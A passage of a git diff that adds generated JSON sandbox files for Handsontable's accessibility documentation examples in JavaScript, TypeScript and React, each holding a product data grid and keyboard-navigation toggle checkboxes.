'66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst app = document.getElementById('example1');\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data: products,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true,\n tabNavigation: true,\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\nlet hot = new Handsontable(app, hotOptions);\n// Helper function to set up checkbox event handling\nconst setupCheckbox = (element, callback) => element.addEventListener('click', () => callback(element.checked));\n\n// Set up event listeners for various checkboxes to update Handsontable settings.\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\n// Checkbox: Enable/Disable Tab Navigation\nsetupCheckbox(document.querySelector('#enable-tab-navigation'), (checked) => {\n hotOptions.tabNavigation = checked;\n hot.updateSettings({\n tabNavigation: hotOptions.tabNavigation,\n });\n console.log('Updated setting: tabNavigation to', hot.getSettings().tabNavigation);\n});\n// Checkbox: Enable/Disable Header Navigation\nsetupCheckbox(document.querySelector('#enable-header-navigation'), (checked) => {\n hotOptions.navigableHeaders = checked;\n hot.updateSettings({\n navigableHeaders: hotOptions.navigableHeaders,\n });\n console.log('Updated setting: navigableHeaders to', hot.getSettings().navigableHeaders);\n});\n// Checkbox: Enable/Disable Cell Virtualization\nsetupCheckbox(document.querySelector('#enable-cell-virtualization'), (checked) => {\n hot.destroy();\n hot = new Handsontable(document.getElementById('example1'), {\n ...hotOptions,\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: hot.getSettings().renderAllRows,\n renderAllColumns: hot.getSettings().renderAllColumns,\n });\n});\n// Checkbox: Enable/Disable Cell Enter Editing\nsetupCheckbox(document.querySelector('#enable-cell-enter-editing'), (checked) => {\n hotOptions.enterBeginsEditing = checked;\n hot.updateSettings({\n enterBeginsEditing: hotOptions.enterBeginsEditing,\n });\n console.log('Updated setting: enable-cell-enter-editing to', hot.getSettings().enterBeginsEditing);\n});\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Row\nsetupCheckbox(document.querySelector('#enable-arrow-rl-first-last-column'), (checked) => {\n hotOptions.autoWrapRow = checked;\n hot.updateSettings({\n autoWrapRow: hotOptions.autoWrapRow,\n });\n console.log('Updated setting: autoWrapRow to', hot.getSettings().autoWrapRow);\n});\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Column\nsetupCheckbox(document.querySelector('#enable-arrow-td-first-last-column'), (checked) => {\n hotOptions.autoWrapCol = checked;\n hot.updateSettings({\n autoWrapCol: hotOptions.autoWrapCol,\n });\n console.log('Updated setting: autoWrapCol to', hot.getSettings().autoWrapCol);\n});\n// Checkbox: Enable/Disable Enter Key Focus for Editing\nsetupCheckbox(document.querySelector('#enable-enter-focus-editing'), (checked) => {\n hotOptions.enterMoves = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n hot.updateSettings({\n enterMoves: hotOptions.enterMoves,\n });\n console.log('Updated setting: enterMoves to', hot.getSettings().enterMoves);\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/javascript/example1.js","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__javascript__example1.ts.json new file mode 100644 index 00000000..bc63850b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessibility · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n Enable navigation with the Tab key\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable navigation across headers\n \n \n \n \n \n \n \n
    \n
    \n \n \n Enable cells virtualization\n \n \n \n \n \n \n \n
    \n
    \n \n The Enter key begins cell editing\n \n \n \n \n \n \n \n
    \n
    \n \n The right/left arrow keys wrap focus to the adjacent row\n \n \n \n \n \n \n \n
    \n
    \n \n \n The up/down arrow keys wrap focus to the adjacent column\n \n \n \n \n \n \n \n
    \n
    \n \n \n The Enter key moves the focus after cell edition\n \n \n \n \n \n \n \n
    \n
    \n \n \n \n
    \n \n \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\ninterface Product {\n companyName: string;\n productName: string;\n sellDate: string;\n inStock: boolean;\n qty: number;\n orderId: string;\n country: string;\n}\n\n/* start:skip-in-preview */\nconst products: Product[] = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: false,\n qty: 439,\n orderId: '62-6066132',\n country: 'Senegal',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Awesome Wooden Hat',\n sellDate: '2022-11-24',\n inStock: false,\n qty: 493,\n orderId: '76-7785471',\n country: 'Cyprus',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-08-11',\n inStock: false,\n qty: 225,\n orderId: '34-3551159',\n country: 'Saint Martin',\n },\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-02-07',\n inStock: false,\n qty: 261,\n orderId: '77-1112514',\n country: 'Chile',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-06',\n inStock: false,\n qty: 439,\n orderId: '12-3252385',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-22',\n inStock: true,\n qty: 235,\n orderId: '71-7639998',\n country: 'Brazil',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2022-12-13',\n inStock: true,\n qty: 163,\n orderId: '68-1588829',\n country: 'Burkina Faso',\n },\n {\n companyName: 'Jenkins LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-03-26',\n inStock: true,\n qty: 8,\n orderId: '61-6324553',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 355,\n orderId: '74-6985005',\n country: 'Mozambique',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-08-01',\n inStock: false,\n qty: 186,\n orderId: '84-4370131',\n country: 'Cocos (Keeling) Islands',\n },\n {\n companyName: 'Rempel - Durgan',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 284,\n orderId: '13-6461825',\n country: 'Monaco',\n },\n {\n companyName: 'Lesch - Jakubowski',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-09-26',\n inStock: true,\n qty: 492,\n orderId: '13-9465439',\n country: 'Iran',\n },\n {\n companyName: 'Jacobi - Kutch',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-05-04',\n inStock: true,\n qty: 300,\n orderId: '76-5194058',\n country: 'Indonesia',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-07-07',\n inStock: true,\n qty: 493,\n orderId: '61-8600792',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Johnston - Wisozk',\n productName: 'Small Fresh Fish',\n sellDate: '2023-07-14',\n inStock: false,\n qty: 304,\n orderId: '10-6007287',\n country: 'Romania',\n },\n {\n companyName: 'Gutkowski Inc',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-01-10',\n inStock: true,\n qty: 375,\n orderId: '25-1164132',\n country: 'Afghanistan',\n },\n {\n companyName: 'Koepp and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-03-30',\n inStock: false,\n qty: 365,\n orderId: '75-7975820',\n country: 'Germany',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Small Fresh Fish',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 308,\n orderId: '59-6251875',\n country: 'Tajikistan',\n },\n {\n companyName: 'Mills Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 191,\n orderId: '67-7521441',\n country: 'Puerto Rico',\n },\n {\n companyName: 'Zboncak and Sons',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-03-18',\n inStock: false,\n qty: 208,\n orderId: '19-4264192',\n country: 'Bolivia',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-06-14',\n inStock: true,\n qty: 191,\n orderId: '78-5742060',\n country: 'Benin',\n },\n {\n companyName: 'Upton - Reichert',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-02-27',\n inStock: false,\n qty: 45,\n orderId: '26-6191298',\n country: 'Tunisia',\n },\n {\n companyName: 'Carroll Group',\n productName: 'Rustic Soft Ball',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 385,\n orderId: '13-7828353',\n country: 'Switzerland',\n },\n {\n companyName: 'Reichel Group',\n productName: 'Small Frozen Tuna',\n sellDate: '2022-12-12',\n inStock: true,\n qty: 117,\n orderId: '67-9643738',\n country: 'Mongolia',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-24',\n inStock: false,\n qty: 335,\n orderId: '78-1331653',\n country: 'Angola',\n },\n {\n companyName: 'Brown LLC',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-06-13',\n inStock: true,\n qty: 305,\n orderId: '63-2315723',\n country: 'Switzerland',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-07',\n inStock: true,\n qty: 409,\n orderId: '53-6782557',\n country: 'Indonesia',\n },\n {\n companyName: 'OReilly LLC',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-05-18',\n inStock: true,\n qty: 318,\n orderId: '91-7787675',\n country: 'Mayotte',\n },\n {\n companyName: 'Weber Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-20',\n inStock: false,\n qty: 234,\n orderId: '41-3560672',\n country: 'Switzerland',\n },\n {\n companyName: 'Hodkiewicz Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-10-19',\n inStock: true,\n qty: 136,\n orderId: '48-6028776',\n country: 'Peru',\n },\n {\n companyName: 'Lesch and Sons',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-09-29',\n inStock: false,\n qty: 187,\n orderId: '84-3770456',\n country: 'Central African Republic',\n },\n {\n companyName: 'Pouros - Brakus',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-01-29',\n inStock: false,\n qty: 350,\n orderId: '08-4844950',\n country: 'Isle of Man',\n },\n {\n companyName: 'Batz - Rice',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-11-06',\n inStock: false,\n qty: 252,\n orderId: '88-4899852',\n country: 'Burundi',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Fresh Fish',\n sellDate: '2023-09-05',\n inStock: true,\n qty: 306,\n orderId: '06-5022461',\n country: 'Mauritius',\n },\n {\n companyName: 'Hills and Sons',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-11-07',\n inStock: false,\n qty: 435,\n orderId: '99-5539911',\n country: 'Somalia',\n },\n {\n companyName: 'Shanahan - Boyle',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-19',\n inStock: true,\n qty: 171,\n orderId: '82-8162453',\n country: 'Virgin Islands, U.S.',\n },\n {\n companyName: 'Luettgen Inc',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-09-30',\n inStock: false,\n qty: 6,\n orderId: '02-8118250',\n country: 'Colombia',\n },\n {\n companyName: 'Hegmann Inc',\n productName: 'Small Rubber Shoes',\n sellDate: '2023-02-16',\n inStock: true,\n qty: 278,\n orderId: '07-9773343',\n country: 'Central African Republic',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-08-08',\n inStock: false,\n qty: 264,\n orderId: '66-4470479',\n country: 'Norfolk Island',\n },\n {\n companyName: 'Kub Inc',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-06-06',\n inStock: true,\n qty: 494,\n orderId: '13-1175339',\n country: 'Liechtenstein',\n },\n {\n companyName: 'Hahn - Welch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-06-12',\n inStock: false,\n qty: 485,\n orderId: '32-9127309',\n country: 'Bahrain',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = products.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst app = document.getElementById('example1')!;\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data: products,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n columns: [\n { data: 'companyName', type: 'text' },\n { data: 'productName', type: 'text' },\n {\n data: 'sellDate',\n type: 'intl-date',\n locale: 'en-GB',\n dateFormat: { day: '2-digit', month: '2-digit', year: 'numeric' },\n },\n {\n data: 'inStock',\n type: 'checkbox',\n className: 'htCenter',\n headerClassName: 'htCenter',\n },\n {\n data: 'qty',\n type: 'numeric',\n headerClassName: 'htRight',\n },\n {\n data: 'orderId',\n type: 'text',\n },\n {\n data: 'country',\n type: 'dropdown',\n source: countries,\n },\n ],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n contextMenu: true,\n navigableHeaders: true, // New accessibility feature\n tabNavigation: true, // New accessibility feature\n autoWrapRow: true,\n autoWrapCol: true,\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n headerClassName: 'htLeft',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\nlet hot = new Handsontable(app, hotOptions);\n\n// Helper function to set up checkbox event handling\nconst setupCheckbox = (element: HTMLInputElement, callback: (val: boolean) => void) =>\n element.addEventListener('click', () => callback(element.checked));\n\n// Set up event listeners for various checkboxes to update Handsontable settings.\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\n\n// Checkbox: Enable/Disable Tab Navigation\nsetupCheckbox(document.querySelector('#enable-tab-navigation') as HTMLInputElement, (checked) => {\n hotOptions.tabNavigation = checked;\n hot.updateSettings({\n tabNavigation: hotOptions.tabNavigation,\n });\n console.log('Updated setting: tabNavigation to', hot.getSettings().tabNavigation);\n});\n\n// Checkbox: Enable/Disable Header Navigation\nsetupCheckbox(document.querySelector('#enable-header-navigation') as HTMLInputElement, (checked) => {\n hotOptions.navigableHeaders = checked;\n hot.updateSettings({\n navigableHeaders: hotOptions.navigableHeaders,\n });\n console.log('Updated setting: navigableHeaders to', hot.getSettings().navigableHeaders);\n});\n\n// Checkbox: Enable/Disable Cell Virtualization\nsetupCheckbox(document.querySelector('#enable-cell-virtualization') as HTMLInputElement, (checked) => {\n hot.destroy();\n hot = new Handsontable(document.getElementById('example1')!, {\n ...hotOptions,\n renderAllRows: !checked,\n renderAllColumns: !checked,\n });\n console.log('Updated virtualization settings:', {\n renderAllRows: hot.getSettings().renderAllRows,\n renderAllColumns: hot.getSettings().renderAllColumns,\n });\n});\n\n// Checkbox: Enable/Disable Cell Enter Editing\nsetupCheckbox(document.querySelector('#enable-cell-enter-editing') as HTMLInputElement, (checked) => {\n hotOptions.enterBeginsEditing = checked;\n hot.updateSettings({\n enterBeginsEditing: hotOptions.enterBeginsEditing,\n });\n console.log('Updated setting: enable-cell-enter-editing to', hot.getSettings().enterBeginsEditing);\n});\n\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Row\nsetupCheckbox(document.querySelector('#enable-arrow-rl-first-last-column') as HTMLInputElement, (checked) => {\n hotOptions.autoWrapRow = checked;\n hot.updateSettings({\n autoWrapRow: hotOptions.autoWrapRow,\n });\n console.log('Updated setting: autoWrapRow to', hot.getSettings().autoWrapRow);\n});\n\n// Checkbox: Enable/Disable Arrow Navigation for First/Last Column\nsetupCheckbox(document.querySelector('#enable-arrow-td-first-last-column') as HTMLInputElement, (checked) => {\n hotOptions.autoWrapCol = checked;\n hot.updateSettings({\n autoWrapCol: hotOptions.autoWrapCol,\n });\n console.log('Updated setting: autoWrapCol to', hot.getSettings().autoWrapCol);\n});\n\n// Checkbox: Enable/Disable Enter Key Focus for Editing\nsetupCheckbox(document.querySelector('#enable-enter-focus-editing') as HTMLInputElement, (checked) => {\n hotOptions.enterMoves = checked ? { col: 0, row: 1 } : { col: 0, row: 0 };\n hot.updateSettings({\n enterMoves: hotOptions.enterMoves,\n });\n console.log('Updated setting: enterMoves to', hot.getSettings().enterMoves);\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/javascript/example1.ts","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/accessibility","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__react__example2.tsx.json new file mode 100644 index 00000000..c3176f31 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessibility__accessibility__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessibility · Accessible data grid demo · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\ninterface Toggle {\n tabNavigation: boolean;\n navigableHeaders: boolean;\n renderAllRows: boolean;\n renderAllColumns: boolean;\n enterBeginsEditing: boolean;\n autoWrapRow: boolean;\n autoWrapCol: boolean;\n enterMoves: { col: number; row: number };\n changeToggleOptions: any;\n}\n\ninterface Product {\n companyName: string;\n productName: string;\n sellDate: string;\n inStock: boolean;\n qty: number;\n orderId: string;\n country: string;\n}\n\n/* start:skip-in-preview */\nconst data: Product[] = [\n {\n companyName: 'Hodkiewicz - Hintz',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-07-05',\n inStock: false,\n qty: 82,\n orderId: '16-3974628',\n country: 'United Kingdom',\n },\n {\n companyName: 'Rath LLC',\n productName: 'Small Frozen Tuna',\n sellDate: '2023-05-31',\n inStock: false,\n qty: 459,\n orderId: '77-7839351',\n country: 'Costa Rica',\n },\n {\n companyName: 'Reichert LLC',\n productName: 'Rustic Soft Ball',\n sellDate: '2023-03-16',\n inStock: false,\n qty: 318,\n orderId: '75-6343150',\n country: 'United States of America',\n },\n {\n companyName: 'Kozey Inc',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-04-24',\n inStock: true,\n qty: 177,\n orderId: '56-3608689',\n country: 'Pitcairn Islands',\n },\n {\n companyName: 'Nader - Fritsch',\n productName: 'Awesome Wooden Hat',\n sellDate: '2023-04-29',\n inStock: true,\n qty: 51,\n orderId: '58-1204318',\n country: 'Argentina',\n },\n {\n companyName: 'Gerhold - Rowe',\n productName: 'Tasty Frozen Table',\n sellDate: '2023-03-27',\n inStock: 